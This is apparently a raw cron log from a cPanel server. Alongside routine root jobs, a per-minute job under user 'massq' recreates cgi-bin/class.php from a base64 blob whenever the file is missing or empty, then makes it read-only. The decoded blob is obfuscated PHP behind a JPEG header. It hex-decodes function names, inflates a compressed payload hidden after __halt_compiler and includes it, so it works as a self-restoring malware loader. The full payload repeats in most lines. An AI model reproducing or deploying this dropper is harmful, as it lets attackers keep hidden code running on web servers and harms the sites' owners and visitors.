Nov 11 08:34:01 server CROND[21187]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:35:01 server CROND[22121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:35:01 server CROND[22122]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:35:01 server CROND[22123]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 08:35:01 server CROND[22125]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:35:01 server CROND[22127]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 08:36:01 server CROND[23029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:37:01 server CROND[23781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:38:01 server CROND[24633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:39:01 server CROND[25465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:39:01 server CROND[25466]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 08:40:01 server CROND[26395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:40:01 server CROND[26396]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 08:40:01 server CROND[26398]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:40:01 server CROND[26397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:41:01 server CROND[26926]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:42:01 server CROND[27748]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 08:42:01 server CROND[27750]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:43:01 server CROND[28622]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:44:01 server CROND[29470]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:45:01 server CROND[30412]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:45:01 server CROND[30413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:45:01 server CROND[30414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:46:01 server CROND[30877]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
